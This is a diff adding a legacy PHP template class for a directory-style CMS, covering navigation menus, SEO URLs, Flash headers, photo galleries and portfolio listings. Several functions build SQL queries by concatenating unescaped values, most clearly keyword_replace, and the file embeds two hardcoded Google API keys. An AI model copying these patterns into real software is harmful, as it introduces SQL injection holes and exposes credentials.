+                                       !isset($_REQUEST['start'])) {
+                $out .= $this->load_static_page();
+                               $out .= $this->get_listings();
+                       }
+                       if (PHOTO_GALLERY) {
+                               $out .= $this->photo_module();
+                       }
+               } else {
+          //  $breadCrumbs = $this->get_bread_crumbs($this->catid);
+                       $category    = $this->get_category($showimg, 0);
+            $pageHeader  = $this->data['intro'];
+            $static      = $this->load_static_page();
+                       $listings    = $this->get_listings();
+            // generation of the section links to each paragraph
+            if (is_array($this->sectionAnchors)) {
+                $links = '<ul id="paragraphLinks">
+                    ';
+                foreach ($this->sectionAnchors as $anchors) {
+                    $links .= '<li>'.$anchors.'</li>
+                    ';
+                }
+                $links .= '
+            </ul>';
+            }
+          //  $out .= $breadCrumbs;
+            $out .= '<div id="category">';
+            $out .= $pageHeader;
+                       if ($this->catid == 117 && $_POST) {
+                               //      don't show category
+                       } else {
+                               $out .= $category;
+                               $out .= $links;
+                       }
+            $out .= '</div>';
+            $out .= $static;
+            $out .= $listings;
+                       if (PHOTO_GALLERY) {
+                               $out .= $this->photo_module();
+                       }
+               }
+               return $out;
+       }
+
+       //      }}}
+       //      {{{ get_page_header_image()
+
+       function get_page_header_image(){
+               $headers[5] = 'accommodations';
+               $headers[21] = 'arts';
+               $headers[22] = 'beaches';
+               $headers[16] = 'golf';
+               $headers[20] = 'guest';
+               $headers[4] = 'outdoor';
+               $headers[43] = 'reservations';
+               $headers[3] = 'things';
+               $headers[18] = 'winaries';
+               $headers[7] = 'meeting';
+               $headers[8] = 'tour';
+               $headers[9] = 'media';
+               $headers[33] = 'events';
+               $this->header_images = $headers;
+               $top_parent = $this->get_top_parent($this->catid);
+               if ($top_parent && $this->catid != HOME_ID) {
+                       if ($_SERVER['HTTPS'] == "on") {
+                               $base_url = BASE_SECURE_URL;
+                       } else {
+                               $base_url = BASE_URL;
+                       }
+
+                       if ($_SERVER['HTTPS'] != "on") {
+                       return( '
+<div id="topimg">
+       <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="565" height="95" id="accommodations" align="middle">
+               <param name="allowScriptAccess" value="sameDomain">
+               <param value="transparent" name="wmode">
+               <param name="movie" value="'.$base_url.'assets/headers/headers.swf?XMLfile='.$base_url.'assets/headers/'.$headers[$top_parent].'.xml">
+               <param name="quality" value="high">
+               <param name="bgcolor" value="#3D8D3A">
+               <embed wmode="transparent" src="'.$base_url.'assets/headers/headers.swf?XMLfile='.$base_url.'assets/headers/'.$headers[$top_parent].'.xml" quality="high" bgcolor="#ffffff" width="565" height="95" name="accommodations" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
+       </object>
+</div>
+' );
+                       } else {
+                               return false;
+                       }
+               } else {
+                       return false;
+               }
+       }
+
+       //      }}}
+       //      {{{ get_parent()
+
+       /**
+       * get_parent: get parent for this category
+       *
+       * @param integer $catid: id
+       * @param object $DB: database obj
+       * @uses GLM_DB::db_auto_get_data()
+       *
+       * @return int $parent
+       * @access public
+       **/
+       function get_parent($catid,&$DB)
+       {
+               $query = "
+            SELECT parent
+              FROM bus_category
+             WHERE id = $catid
+             ORDER BY pos";
+               $data = $DB->db_auto_get_data($query);
+               return $data[0]["parent"];
+       }
+
+       //      }}}
+       //      {{{ get_parent_id ()
+
+       function get_parent_id($id)
+       {
+               if (is_numeric($id)) {
+                       $query = "select parent from bus_category where id = $id";
+                       if ($data = $this->DB->pgsql_select($query)) {
+                               return $data[0]['parent'];
+                       }
+               }
+       }
+
+       //      }}}
+    // {{{ get_portfolio_categories()
+    function get_portfolio_categories()
+    {
+        $portfolio =& new portfolio($this);
+        return $portfolio->get_portfolio_categories();
+    }
+    // }}}
+       //      {{{ get_seo_url()
+
+       /**
+        * get_seo_url:
+        * grab category part of the search engine friendly url
+        * looks at define for seo_url to see weather to use the seach engine friendly url's or not
+        *
+        * @param integer $id:
+        * @param boolean $slash = 1 : to put a slash on end or not
+        * @uses BASE_URL
+        * @uses SEO_URL
+        * @uses HOME_ID
+        * @uses GLM_TEMPLATE::$php_ext
+        * @uses GLM_TEMPLATE::set_name_url()
+        * @uses GLM_TEMPLATE::get_category_name()
+        * @uses GLM_TEMPLATE::get_base_url()
+        *
+        * @return string $url for page.
+        * @access public
+        **/
+       function get_seo_url($id, $slash = 1)
+       {
+               if ($id == HOME_ID &&
+                               $GLOBALS['GLM_SERVER_ID'] != 'devsys.gaslightmedia.com') {
+                       return BASE_URL;
+               } elseif ($id == HOME_ID &&
+                               $GLOBALS['GLM_SERVER_ID'] == 'devsys.gaslightmedia.com') {
+                       return BASE_URL.'index.php';
+               }
+               if ($id == 117) {
+                       return BASE_SECURE_URL . 'index.php?catid=117';
+               }
+               if (is_array($this->category_toolbox) &&
+                               in_array($id, $this->category_toolbox)) {
+                       $category_id = array_search($id, $this->category_toolbox);
+                       $url = BASE_URL.'member.php?category_id='.$category_id;
+                       return $url;
+               }
+               if (SEO_URL) {
+                       if (in_array($id, array(117))) {
+                               $base_url = BASE_SECURE_URL;
+                       } else {
+                               $base_url = BASE_URL;
+                       }
+            $url = $base_url;
+                       if (defined("SHORT_URLS") && SHORT_URLS) {
+                static $ShortURL;
+                if (!$ShortURL) {
+                    $ShortURL   = new Toolkit_ShortURL($this->dbh);
+                }
+                $short_url = $ShortURL->getShortUrl($id);
+                if ($short_url) {
+                    return $base_url.$short_url . '/';
+                }
+                       }
+                       $url .= GLM_TEMPLATE::set_name_url(GLM_TEMPLATE::get_category_name($id, "bus_category", $this->DB));
+                       $url = htmlspecialchars(strip_tags($url));
+                       if ($slash) {
+                               $url .= '/';
+                       }
+               } else {
+                       $url = $this->get_base_url($id);
+                       if ($url) {
+                               if ($id == 142) {
+                                       $url = BASE_SECURE_URL.$url;
+                               }else{
+                                       $url = BASE_URL.$url;
+                               }
+                               $url .= $this->php_ext.'?catid='.$id;
+                       } else {
+                               $url = BASE_URL;
+                       }
+               }
+
+               return $url;
+       }
+
+       //      }}}
+       // {{{ get_side_nav()
+
+       function get_side_nav($parent = 0)
+       {
+        if ($navContent = $this->cache->get($this->catid, 'Nav')) {
+            return $navContent;
+        } else {
+            $qs = "
+                SELECT id, category, intro
+                  FROM bus_category
+                 WHERE parent = :parent {$this->active_query}
+                 ORDER BY pos";
+            try {
+                $stmt = $this->dbh->prepare($qs);
+                $stmt->bindParam(":parent", $parent, PDO::PARAM_INT);
+                $stmt->execute();
+                $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
+            } catch(PDOException $e) {
+                return Toolkit_Common::handleError($e);
+            }
+            if (!is_array($data)) {
+                return false;
+            } else {
+                foreach ($data as $key => $row) {
+                    $url = $this->get_seo_url($row['id']);
+                    $title = strip_tags(addslashes($row['intro']));
+                    $return .= '<li><a title="' .
+                            htmlentities($title,ENT_QUOTES,'UTF-8') .
+                            '" href="'.$url.'"';
+                    if ($this->catid == $row['id']) {
+                        $return .= ' id="current"';
+                    }
+                    $return .= '>' .
+                        htmlentities($row['category'],ENT_QUOTES,'UTF-8')."</a>";
+                    $hasSubs = $this->has_subs($row['id'], $this->DB);
+                    $isSubId = $this->is_sub_id($this->catid, $row['id'], $this->DB);
+                    $isPage  = $this->catid == $row['id'];
+
+                    if ($hasSubs && ($isSubId || $isPage)) {
+                        $ret2 = $this->make_ul_menu($row['id']);
+                        $return .= $ret2;
+                    }
+                    $return .= '</li>';
+                }
+                if ($parent == 56) {
+                    if ($portfolioCats = $this->get_portfolio_categories()) {
+                        foreach ($portfolioCats as $pCatid => $pName) {
+                            $name = ereg_replace("[?/$^%&*!@#'\"<>,]","",$pName);
+                            $name = str_replace(" ","-",$name);
+                            $return .= '<li>
+                            <a href="'.BASE_URL.'portfolio-category/'.$name.'-'.$pCatid.'/">'.$pName.'</a>
+                            </li>';
+                        }
+                    }
+                }
+                $main_cats = $this->get_main_cats();
+                if ($main_cats[$parent]) {
+                    $return = '<h2>'.$this->get_catheader($parent, &$this->DB).'</h2>
+                    <ul>'.$return.'</ul>';
+                    $this->cache->save($return, $this->catid, 'Nav');
+                    return $return;
+                } else {
+                    $return = "\n<ul>$return</ul>\n";
+                    return $return;
+                }
+            }
+        }
+       }
+
+       // }}}
+       //      {{{ get_sitemap()
+
+       function get_sitemap(){
+               // sitemap.inc goes here
+               // maybe make a sitemap class
+       }
+
+       //      }}}
+       //      {{{ get_sub_nav()
+
+       /**
+       * get_sub_nav:
+       * @param integer $catid:
+       * @param object $DB:
+       *
+       * @uses GLM_TEMPLATE::get_parent()
+       * @uses GLM_TEMPLATE::get_seo_url()
+       * @uses GLM_TEMPLATE::is_sub_id()
+       * @uses GLM_TEMPLATE::get_sub_nav()
+       * @uses GLM_TEMPLATE::has_subs()
+       * @uses GLM_DB::db_auto_get_data()
+       *
+       * @return  string
+       * @access  public
+       **/
+       function get_sub_nav($catid,&$DB)
+       {
+               $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+               //echo $parentid.'<br>';
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";
+               $data = $DB->db_auto_get_data($query);
+               if (is_array($data)) {
+                       $output = '<div id="subnav">';
+                               $counter = 1;
+                               foreach($data as $key=>$val) {
+                                       $url = $this->get_seo_url( $val['id'] );
+                                       $title = strip_tags(addslashes($val['intro']));
+                                       if (GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) ) {
+                                               $output .=  '<a title="'.$title.'" class="current" href="'.$url.'">';
+                                       } else {
+                                               $output .=  '<a title="'.$title.'" href="'.$url.'">';
+                                       }
+                                       $output .=  $val["category"];
+                                       $output .=  '</a>';
+                                       if (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB)) {
+                                               $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+                                       }
+                               }
+                               $output .= '</div>';
+                       $output = GLM_TEMPLATE::clean_text($output);
+                       echo $output;
+               }
+               return false;
+       }
+
+       //      }}}
+       //      {{{ get_template()
+
+       /**
+        * get_template: get the template type of the bus_category
+        * @param mixed $type : 'cat' or 'list'
+        *
+        * @uses GLM_DB::db_auto_get_data()
+        * @uses GLM_TEMLATE::img_align()
+        * @uses GLM_TEMLATE::img_alternate()
+        * @uses GLM_TEMLATE::$template
+        *
+        * @return void
+        * @access public
+        */
+       function get_template($type)
+       {
+               $query = "select template from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data($query);
+               switch ($type) {
+               case "cat" :
+                       switch ($data[0]['template']) {
+                       case "5" :
+                       case "4" :
+                       case "2" :
+                               $this->img_align = "left";
+                               break;
+
+                       default:
+                               $this->img_align = "right";
+                               break;
+                       }
+                       break;
+
+               case "list" :
+                       switch( $data[0]['template'] ) {
+                               case "6" :
+                               case "2" :
+                                       $this->img_align = "left";
+                                       $this->img_alternate = 0;
+                                       break;
+
+                               case "5" :
+                               case "1" :
+                                       $this->img_align = "right";
+                                       $this->img_alternate = 0;
+                                       break;
+
+                               case "4" :
+                                       $this->img_align = "right";
+                                       $this->img_alternate = 1;
+                                       break;
+
+                               case "3":
+                                       $this->img_align = "left";
+                                       $this->img_alternate = 1;
+                                       break;
+
+                               default:
+                                       break;
+                       }
+                       break;
+               }
+               return $this->template = $data[0]['template'];
+       }
+
+       //      }}}
+       //      {{{ get_top_parent()
+
+       /**
+        * get_top_parent:Get the highest level parent id (not 0 )for the category.
+        *
+        *      <p><b>NOTICE:</b> This is ment to get the top level parent not the parent of the id given.</p>
+        *
+        * @param integer $id: The catid for the page.
+        * @param object $DB: obj
+        * @uses GLM_TEMPLATE::get_top_parent()
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return int $parent
+        * @access public
+        */
+       function get_top_parent($id)
+       {
+               if ($id == 0 ){
+                       return 0;
+               }
+               $qs = "select parent from bus_category where id = $id";
+               $parentrow = $this->DB->db_auto_get_data( $qs );
+               if ($parentrow[0]['parent'] == 0 ){
+                       return $id;
+               } else {
+                       return $this->get_top_parent( $parentrow[0]['parent'] );
+               }
+       }
+
+       //      }}}
+
+       //      {{{ is_sub_id()
+
+       /**
+        * is_sub_id:Check to see if catid is sub of category
+        *
+        * @param integer $catid: the catid looking at
+        * @param integer $category: to see if it is in category
+        * @param object $DB: Db object reference
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return bool
+        * @access public
+        */
+       function is_sub_id($catid,$category,&$DB)
+       {
+               if (!is_numeric($catid)) {
+                       return false;
+               }
+
+               if ($category == $catid)
+               {
+                       return true;
+               }
+
+               $query = "select id,parent from bus_category where id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               $parent = $data[0]['parent'];
+               if ($parent == 0) {
+                       return false;
+               } else {
+                       return GLM_TEMPLATE::is_sub_id($parent,$category,&$DB);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ keyword_replace()
+
+       /**
+        * keyword_replace:
+        *
+        * @param string $string:
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return string
+        * @access public
+        */
+       function keyword_replace($string)
+       {
+               //return $string;
+               if ($search = strstr($string,"{")) {
+                       if (preg_match("/\{([A-Z0-9\&\-\,\'\" ]*)\}/i",$string,$needle)) {
+                               if ($needle[0] != "") {
+                                       $qs = "
+                        SELECT id, category
+                          FROM bus_category
+                         WHERE trim(keyword) = '".trim($needle[1])."'";
+
+                                       $keyres = $this->DB->db_auto_get_data($qs);
+                                       $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+                                       $url = $this->get_seo_url( $keyres[0]['id'] );
+                                       $replacement = "<a href=\"".$url."\">".htmlspecialchars($keyres[0]['category'])."</a>";
+                                       $string = str_replace($needle[0],$replacement,$string);
+                               }
+                       } else {
+                               return $string;
+                       }
+                       if ($search = strstr($string,"{")) {
+                               return $this->keyword_replace($string);
+                       }
+               }
+               return $string;
+       }
+
+       //      }}}
+
+       //      {{{ load_static_page()
+
+       /**
+       * load_static_page:using object buffer include the page $catid.phtml from static dir
+       and return it as string
+       *
+       * @return string $text
+       * @access  public
+       **/
+       function load_static_page()
+       {
+               if (file_exists(BASE."static/".$this->catid.".phtml")) {
+                       ob_start();
+                       include BASE . "static/".$this->catid.".phtml";
+                       $text = ob_get_contents();
+                       ob_end_clean();
+                       return $text;
+               }
+       }
+
+       //      }}}
+
+       //      {{{ make_ul_menu()
+
+       /**
+        * make_ul_menu: create url list of categories
+        *
+        * @param integer $parent parent to start from
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return string
+        * @access public
+        */
+       function make_ul_menu($parent = 0)
+       {
+               $qs = "
+            SELECT id, category, intro
+              FROM bus_category
+             WHERE parent =  $parent
+               AND id <> ".MEMBERS_ONLY_CATEGORY."
+                        {$this->active_query}
+             order by pos";
+               $data = $this->DB->db_auto_get_data($qs);
+
+               if (!is_array($data)) {
+                       return false;
+               } else {
+                       foreach ( $data as $key => $row ) {
+                               $url = $this->get_seo_url( $row['id'] );
+                               $title = strip_tags(addslashes($row['intro']));
+                               $return .= "\t<li><a title=\"".htmlentities($title, ENT_QUOTES, 'UTF-8').'" href="'.$url.'"';
+                               if ($this->catid == $row['id']) {
+                                       $return .= ' id="current"';
+                               }
+                               $return .= '>' . htmlentities($row['category'], ENT_QUOTES, 'UTF-8') . '</a>';
+                $hasSubs = $this->has_subs($row['id'], $this->DB);
+                $isSubId = $this->is_sub_id($this->catid, $row['id'], $this->DB);
+                $isPage  = $this->catid == $row['id'];
+                               if ($hasSubs && ($isSubId || $isPage)) {
+                    $ret2 = $this->make_ul_menu($row['id']);
+                    $return .= $ret2;
+                               }
+                               $return .= "</li>\n";
+                       }
+                       $main_cats = $this->get_main_cats();
+                       if ($main_cats[$parent] || $parent != 0) {
+                               $return = "<ul>\n\t$return</ul>\n";
+                               return $return;
+                       } else {
+                               $return = "<ul id=\"nav\">\n\t" . $return . "</ul>\n";
+                               return $return;
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ meta_tags()
+
+       /**
+        * meta_tags: create the meta description content for this page.
+        * this is taken from the category description.
+        * this should be only done for all but the home page.
+        * $meta = ( $catid != 1 ) ? $toolbox->meta_tags() : '';
+        *
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access  public
+        */
+       function meta_tags()
+       {
+        $query = "
+        SELECT meta_descr,description
+          FROM bus_category
+         WHERE id = :id";
+        try {
+            $stmt = $this->dbh->prepare($query);
+            $stmt->bindParam(":id", $this->catid, PDO::PARAM_INT);
+            $stmt->execute();
+            $data = $stmt->fetch();;
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage());
+        }
+        if ($data['meta_descr']) {
+            $description = htmlentities(trim(strip_tags($data['meta_descr'])), ENT_QUOTES, 'UTF-8');
+        } else {
+                   $description = htmlentities(substr(trim(strip_tags($data['description'])), 0, 250),ENT_QUOTES,'UTF-8');
+        }
+               return $description;
+       }
+
+       //      }}}
+
+       //      {{{ page_status()
+
+       /**
+        * page_status
+        *
+        * tell if page is active, deleted or inactive
+        * this will redirect to the index.php page if the
+        * id has been deleted or not active
+        * it will display message about page not found.
+        *
+        * @param mixed $id
+        * @access public
+        * @return string
+        */
+       function page_status($id) {
+               if ($id == 9999) {
+                       $this->page_status = 'Good';
+                       return true;
+               }
+
+               if (empty($id)) {
+                       return false;
+               }
+               if ($id == HOME_ID) {
+                       $this->page_status = 'Good';
+               }
+               $query = "
+            SELECT id, active
+              FROM bus_category
+             WHERE id = :id";
+        try {
+            $stmt = $this->dbh->prepare($query);
+            $stmt->bindParam(":id", $id, PDO::PARAM_INT);
+            $stmt->execute();
+            $data = $stmt->fetch();
+            //echo '<pre>'.print_r($data, true).'</pre>';
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage());
+        }
+
+               if (is_array($data)) {
+                       if (!$data['active'] &&
+                                       !strstr($_SERVER['HTTP_REFERER'], 'admin/')) {
+                // page was deleted and no longer avail.
+                // give 404 redirect and go back to index page
+                header('HTTP/1.1 404 Not Found');
+                               $this->page_status = 'Bad';
+                       } else {
+                               $this->page_status = 'Good';
+                       }
+               } else {
+                       // page was deleted and no longer avail.
+                       // give 301 redirect and go back to index page
+                       header('HTTP/1.1 301 Moved Permanently');
+                       header('Location: '.BASE_URL);
+                       exit();
+               }
+       }
+
+       //      }}}
+       //      {{{ photo_module()
+
+       /**
+        * photo_module
+        * Load the photo gallery into page
+        *
+        * @access public
+        * @return string
+        */
+       function photo_module()
+       {
+        $query = "
+            SELECT photocat_id
+            FROM photo_category_bus
+            WHERE buscat_id = $this->catid;";
+               if ($pData = $this->DB->db_auto_get_data($query)) {
+                       if (count($pData) > 1) {
+                               foreach ($pData as $pKey => $pVal) {
+                                       $photocatid[] = $pVal['photocat_id'];
+                               }
+                               $SINGLE_GALLERY = false;
+                       } else {
+                               $SINGLE_GALLERY = true;
+                               $photocatid = $pData[0]['photocat_id'];
+                       }
+                       if (is_numeric($photocatid) || is_array($photocatid)) {
+                               if (!$_REQUEST['photo_catid']) {
+                                       $_REQUEST['photo_catid'] = $photocatid;
+                               }
+                $photoApp = new Toolkit_Photos_Display();
+                $out = $photoApp->toHTML();
+                       }
+               }
+               return $out;
+       }
+
+       //      }}}
+       //      {{{ print_ancestors()
+
+       /**
+        * print_ancestors:print out the ancestors
+        * @param integer $catid: the id to start at.
+        *
+        * @return string
+        * @access public
+        */
+       function print_ancestors($catid)
+       {
+               return $this->get_bread_crumbs($catid);
+       }
+
+       //      }}}
+    // {{{ recent_launched()
+    /**
+        * recent_launched
+        * grabs the porfolio section category for the most recently launched websites.
+        *
+        * @access public
+        * @return void
+        */
+       function recent_launched($catid)
+       {
+        try {
+            $dsn = 'pgsql:' . CONN2_STR;
+            // Keep the fetch mode set to FETCH_BOTH, we use
+            // associative arrays throughout our apps, but some PEAR lib
+            // apps require numerical indicies to work correctly.
+            // i.e. (DataGrids working w/ PDO's)
+            $driverOptions = array(
+                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+            );
+            $dbh = new PDO($dsn, null, null, $driverOptions);
+            $dbh->setAttribute(PDO::ATTR_ERRMODE,
+                PDO::ERRMODE_EXCEPTION);
+            $dbh->query("SET DATESTYLE TO 'SQL,US'");
+        } catch (PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if($catid == 74) {
+                       $detailURL = BASE_URL.'portfolio-detail-'.$catid.'/';
+                       $limit     = 3;
+                       $Where     = " and b.home = 't'";
+               } else {
+                       $detailURL = BASE_URL.'isp-portfolio-detail-'.$catid.'/';
+                       $Where     = "";
+                       if ($_GET['busid']) {
+                               $limit = 6;
+                       } else {
+                               $limit = 3;
+                       }
+               }
+               $w  = 120;      // image width
+               $h  = 90;       // image hieight
+        $qs = "
+        SELECT b.name AS title,b.image,bcb.pos AS itempos, b.description,b.id AS itemid,b.url AS itemurl
+        FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON (bcb.busid = b.id)
+        WHERE bcb.catid = $catid
+        AND b.active = 't' $Where
+        ORDER BY bcb.pos asc
+        LIMIT $limit OFFSET 0";
+        try {
+            $row = $dbh->query($qs)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        $rcount = count($row);
+               if (is_array($row)) {
+                       $return .= '<table>
+                               <tr>
+                                       ';
+                       $rowCount = 1;
+                       for ($i = 0; $i < count($row); $i++) {
+                               if ($rowCount % 4 == 0) {
+                                       $return .= '</tr><tr>';
+                               }
+                               $rowCount++;
+                               $return .= "\n\t\t".'<td>';
+                               $return .='<a href="'.$detailURL.$row[$i]['itemid'].'/">';
+                               $return .= '<img alt="" src="'.THUMB.$row[$i]['image'].'">';
+                               if ($catid == 74) {
+                                       $return.='</a>';
+                               }
+                               $return .= "\n\t\t";
+                               if ($catid == 74) {
+                                       $return .= '<div>';
+                               }
+                               $return .= $row[$i]['title'];
+                               if ($catid == 74) {
+                                       $return .= '</div>';
+                               }
+                               $name = ereg_replace("[?/$^%&*!@#'\"<>,]","",$pvalue['name']);
+                               $name = str_replace(" ","-",$name);
+                               if ($catid == 74) {
+                                       $return .= '<span class="rec-details"><a href="'.$detailURL.$name.$row[$i]['itemid'].'/">Details</a> | <a href="http://'.$row[$i]['itemurl'].'" target="blank">Website</a></span>';
+                               } else {
+                                       $return.=$name;
+                                       $return.='</a>';
+                               }
+                               $return .= '</td>';
+                       }
+                       // depending on count if above 3 but less than 6 put empty td tags
+                       if ($rcount < 6 && $rcount > 3) {
+                               $remaining = 6 - $rcount;
+                               for ($ri = 0; $ri < $remaining; $ri++) {
+                                       $return .= '<td>&nbsp;</td>';
+                               }
+                       }
+                       $return .= '
+               </tr>
+               </table>';
+               }
+               return $return;
+       }
+    // }}}
+       //      {{{ set_active_query()
+
+       /**
+        * set_active_query: some toolboxes have an active flag some do not
+        * so this is to allow both with and without a flag.
+        *
+        * @uses ACTIVE_FLAG
+        *
+        * @return void
+        * @access public
+        **/
+       function set_active_query()
+       {
+               if (ACTIVE_FLAG) {
+                       $this->active_query = " and active = 't'";
+               }
+               return $this->active_query;
+       }
+
+       //      }}}
+       //      {{{ set_address()
+
+       /**
+       * set_address:set_address
+       * <code><p>{$address}<br>{$city},{$state} {$zip}</p></code>
+       * @param array $data: data contain the address info for display.
+       *
+       * @return string $address
+       * @access public
+       **/
+       function set_address($data)
+       {
+               $address = "";
+               if ($data["address"]) {
+                       $address .= $data["address"];
+               }
+               if ($data["city"] && $data["state"] && $data["zip"]) {
+                       $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+               } elseif ($data["city"] && $data["state"]) {
+                       $address .= '<br>'.$data["city"].', '.$data["state"];
+               } elseif ($data["city"]) {
+                       $address .= '<br>'.$data["city"];
+               }
+
+               if ($address != "") {
+                       return '<p>'.$address.'<br></p>';
+               }
+       }
+
+       //      }}}
+       //      {{{ set_body_tag()
+
+       function set_body_tag()
+       {
+               if ($this->catid != HOME_ID) {
+                       $this->body_tag = ' id="inside"';
+               }
+               if ($_REQUEST['query']) {
+                       switch (GLM_HOST_ID) {
+                       case "devsy.gaslightmedia.com":
+                       case "DEVELOPMENT":
+                               $apikey = "ABQIAAAA4LuqJozzD0jiTLPhI0tT7xQUAAYHl_Rab4aEI5hGyHxlqR-rKxQMGKAdHLOEIFLI9wcDJjjSkJ7qng";
+                               break;
+
+                       case "ws1.gaslightmedia.com":
+                       case "PRODUCTION":
+                               $apikey = "ABQIAAAAWqyv9sBAgUBdsdOdgo7LsRQRzeqzQXKdvmJb4FZzpdF0AtrabhSiNxG27kD8OcNt7Ae6sNRUH1VXCA";
+                               break;
+
+                       default :
+                               break;
+                       }
+                       $this->body_tag .= ' onload="OnLoad();"';
+                       $this->scripts .= '
+                               <script type="text/javascript" src="http://www.google.com/uds/api?file=uds.js&amp;v=1.0&amp;key='.$apikey.'"></script>';
+                       $this->scripts .= '<link rel="stylesheet" type="text/css" href="'.BASE_URL.'gsearch.css">';
+                       $this->scripts .= '<script type="text/javascript" src="'.BASE_URL.'libjs/gsearch.php?query='.urlencode($_REQUEST['query']).'"></script>';
+               }
+       }
+
+       //      }}}
+       //      {{{ set_catid()
+
+       /**
+       * set_catid:Set the class catid var
+       * @param integer $catid: $catid
+       *
+       * @deprecated using get_catid
+       * @return void
+       * @access public
+       **/
+       function set_catid($catid)
+       {
+               if (is_numeric($catid)) {
+                       $this->catid = $catid;
+               } else {
+                       $this->catid = 1;
+               }
+       }
+
+       //      }}}
+       //      {{{     set_contact()
+
+       /**
+       * set_contact:Set the contact string
+       * <code><p><strong>Contact Name:</strong>&nbsp;{$text}</p></code>
+       *
+       * @param string $text: The text as string
+       * @param string $email: email if givin
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_contact($text, $email)
+       {
+               if ($email != "") {
+                       $text = "";
+               } else {
+                       $text = '<p><strong>Contact Name:</strong>&nbsp;'.$text.'</p>';
+               }
+               return $text;
+       }
+
+       //      }}}
+       //      {{{ set_DB()
+
+       /**
+        * set_DB: set the DB up to be that of the global one if it exists
+        *
+        * @param object $DB : the DB object
+        * @uses GLM_DB
+        *
+        * @return void
+        * @access public
+        **/
+       function set_DB($DB) {
+               if (isset($DB)) {
+                       $this->DB =& $DB;
+               } else {
+                       $this->DB =& new GLM_DB();
+               }
+       }
+
+       //      }}}
+       //      {{{ set_data()
+
+       /**
+       * call all class methods to set tho data elements
+       *
+       * <p>This is hightly dependant on the three tables of bus bus_category and bus_category_bus
+       * set_data:Calls each function of the class
+       * based on the key af the array $data[0][$key]</p>
+       * @todo Really need to look at enhancing this function for different datasetups.
+       * @param array $data: The input array from db query
+       * @uses GLM_TEMPLATE::$img_size
+       * @uses GLM_TEMPLATE::$img_align
+       * @uses GLM_TEMPLATE::$img_alternate
+       * @uses GLM_TEMPLATE::set_text()
+       * @uses GLM_TEMPLATE::set_header()
+       * @uses GLM_TEMPLATE::set_subheader()
+       * @uses GLM_TEMPLATE::set_url()
+       * @uses GLM_TEMPLATE::set_address()
+       * @uses GLM_TEMPLATE::set_img()
+       * @uses GLM_TEMPLATE::set_email()
+       * @uses GLM_TEMPLATE::set_phone()
+       *
+       * @return array data The finished array
+       * @access  public
+       **/
+       function set_data($data)
+       {
+               if (is_array($data)) {
+                       foreach ($data as $k => $val) {
+                               foreach ($val as $key => $value) {
+                                       if (strstr($key, "image") && !strstr($key, "name") &&
+                                               $value != "") {
+                                               $titletag = ($data[$k]['category']) ?
+                                                       $data[$k]['category'] :
+                                                       $data[$k]['name'];
+
+                                               //$data[$k][$key."_name"] = $value;
+                                               $data[$k][$key] = $this->set_img($value,
+                                                       $this->img_size, $this->img_align,
+                                                       $titletag, $data[$k][$key."name"]);
+
+                                               if (!strstr($key, "name")) {
+                                                       if ($this->img_align == "right" &&
+                                                               $this->img_alternate) {
+                                                               $this->img_align = "left";
+                                                       } elseif ($this->img_alternate) {
+                                                               $this->img_align = "right";
+                                                       }
+                                               }
+                                       } elseif (strstr($key,"file") && strstr($key,"name") &&
+                                               $value != "" ) {
+                                       } elseif (strstr($key,"url") && strstr($key,"name") &&
+                                               $value != "" ) {
+                                       } elseif (strstr($key,"descr") && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text($value);
+                                       } elseif ($key == "contactname" && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_contact($value,
+                                                       $data[$k]['email']);
+                                       } elseif ($key == "name" && $value!="") {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader($value);
+                                       } elseif (strstr( $key, "header" ) && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader($value);
+                                       } elseif ($key == "intro" && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header($value);
+                                       } elseif ($key == "category" && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header($value);
+                                       } elseif ($key == "url" && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_url($value,
+                                                       $data[$k]["urlname"]);
+                                       } elseif ($key == "email" && $value!="") {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_email($value,
+                                                       $data[$k]["contactname"]);
+                                       } elseif ($key == "phone" && $value != "") {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+                                       } elseif ($key == "fax" && $value != "" ) {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+                                       } elseif (strstr( $key, "file" ) && $value!="") {
